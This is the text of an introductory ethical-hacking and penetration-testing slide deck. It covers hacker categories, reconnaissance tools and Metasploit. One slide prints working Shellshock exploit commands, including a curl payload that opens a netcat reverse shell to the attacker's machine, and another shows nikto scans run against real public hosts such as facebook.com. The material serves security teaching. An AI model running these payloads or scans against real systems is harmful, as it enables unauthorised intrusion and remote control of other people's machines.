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Ethical Hacking

 What is it?

 How to do it safely.



Ethical Hacking

 In any computer security attack, the attacker will fall into any three 

categories depending on their intentions and use of the attack.

 “Black Hat Hackers” are attackers whose sole reason for penetrating a 

system is to gain information from the system to be used for malicious 

purposes.

 Its important to note that you are breaking SEVERAL federal and state 

laws while performing this category of attack.

 If caught the punishment typically ranges from confiscation of 

equipment to jail time.



Ethical Hacking

 “White Hat Hackers” are attackers whose sole reason for penetrating a 

system is to harden the system against attacks so that it will be less 

susceptible to attacks in the future.

 Companies typically hire these hackers to stress test their defense 

systems for any potential holes within the defense network.

 While this kind of attack is legal, the attackers are only allowed to 

access areas that the company explicitly consents to.

 This is the kind of hacking we will be doing today. 



Ethical Hacking

 “Gray Hat Hackers” are attackers whose sole reason for penetrating a 

system is simply because they can and they typically return any stolen 

information that could be used for malicious purposes.

 While these attacks are considered illegal, the majority of attackers 

are never caught or even noticed after the attack has happened.



Ethical Hacking

 Today we are going to show you how to go about hacking in a safe 

environment, a set of tools to use for hacking, and some business 

applications of white hat hacking. 



What is Penetration Testing

 “Penetration testing can be defined as a security‐oriented probing 

of a computer system or network to seek out vulnerabilities that 

an attacker could exploit”



Business Perspective of Pen Testing

 Why would I ever need a penetration test?

 A successful penetration test would be that which would help an 

organization to understand the business risks arising from the 

vulnerabilities, and would provide a proper risk mitigation plan 

that fits the organizations business policy.



Pen Testing Model

 Planning

 Discovery

 Attack

 Reporting



Planning

 Where the scope for the assignment 

is defined.

 Limitations compared to hackers.

 Time

 Legal Restrictions
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Discovery: Footprinting

 First part of Discovery.

 Involves searching the internet, querying various public 

repositories (whois databases, domain registrars, Usenet 

groups, mailing lists, etc.).



Discovery: Network

 Mapping out the Topology of a network. 

 High level representation with Etherape.



Discovery: Network (Cont.)

 Using Nmap

 Nmap (Network Mapper) is a security scanner 

originally written by Gordon Lyon (also known by his 

pseudonym Fyodor Vaskovich) used to discover hosts 

and services on a computer network, thus creating a 

"map" of the network.



Discovery: Network (Cont.)

 Nmap Output



Discovery: Endpoint

 OS Fingerprinting

 Determining the type of operating 

system used by studying the types of 

packets flowing from a system. 

Passive OS fingerprinting only 

analyzes the packets. Active OS 

fingerprinting sends challenges to the 

OS and examines the type of 

responses.



Discovery: Endpoint

 OS Fingerprinting with Xprobe2



Discovery: Applications



OWASP Top 10



Discovery: Applications

 Application & services discovery 

 Manual (e.g., telnet)

 Automated (e.g., nikto, nessus, openvas)

 Vulnerability probing

 owasp-zap

 Burpsuite

 Nikto

 …



nikto –host 74.217.87.87 –port 80





nikto –host 8.26.65.101 

–port 80



nikto –host facebook.com –port 80



Vulnerability probing with owasp-zap



How to find proof-of-concept exploits?



How to find proof-of-concept exploits?



CVE-2014-6271 exploit



Metasploit

 What is Metasploit?

 A computer security project that provides information 

about security vulnerabilities and aids in penetration 

testing and IDS signature development.

 Metasploit Framework, a tool for developing and 

executing exploit code against a remote target machine. 



Port Scanning results 
 Show:



Services Running 

PORT   STATE SERVICE VERSION

21/tcp open  ftp        ProFTPD 1.3.5

22/tcp open  ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.3 (Ubuntu Linux; 

protocol 2.0)

80/tcp open  http       Apache httpd 2.4.17 ((Unix))

1064/tcp open  tcp wrapped

There is a web server running



Web Server Vulnerability Analysis Tool

 NIKTO:



What is Shellshock ?  (AKA Bashdoor)

 It is a security bug in the widely used Unix Bash shell (Unix shell and 

commandline language). 

 Many Internet-facing services, such as some web server deployments, 

use Bash to process certain requests, allowing an attacker to cause 

vulnerable versions of Bash to execute arbitrary commands. 

 This can allow an attacker to gain unauthorized access to a computer 

system

 Disclosed on 24 September 2014 by Stéphane Chazelas



In this scenario:



Shellshock ( Commandline )

 curl -A "() { :; }; echo Content-Type: text/plain ; echo ; /bin/ls /tmp/" 

http://10.176.68.191/cgi-bin/login.cgi

 NetCat: curl -A "() { :; }; echo Content-Type: text/plain ; echo ; /bin/nc

 $curl -A "() { :; }; echo Content-Type: text/plain ; echo  ; echo ; /bin/mknod

/tmp/p p" http://<target-ip>/cgi-bin/login.cgi

 $curl -A "() { :; }; echo Content-Type: text/plain ; echo  ; echo ; /bin/dash 

0</tmp/p | /bin/nc <your-ip> 4444 1>/tmp/p" http://<target-ip>/cgi-

bin/login.cgi

 You can also get netcat output everything into a txt file.

 nc -l 60000 > qux.txt      ; 



Basic concept: How to Use Metasploit

 – Run msfconsole (MetaSploit Framework)

 – Identify a remote host

 – Pick a vulnerability and use an exploit

 – Configure the exploit

 – Execute the payload against the remote host



Join us at “Metasploit Freaks”



QUESTIONS?



Please give us your 

feedback!
http://goo.gl/forms/AZxk8Lih7L


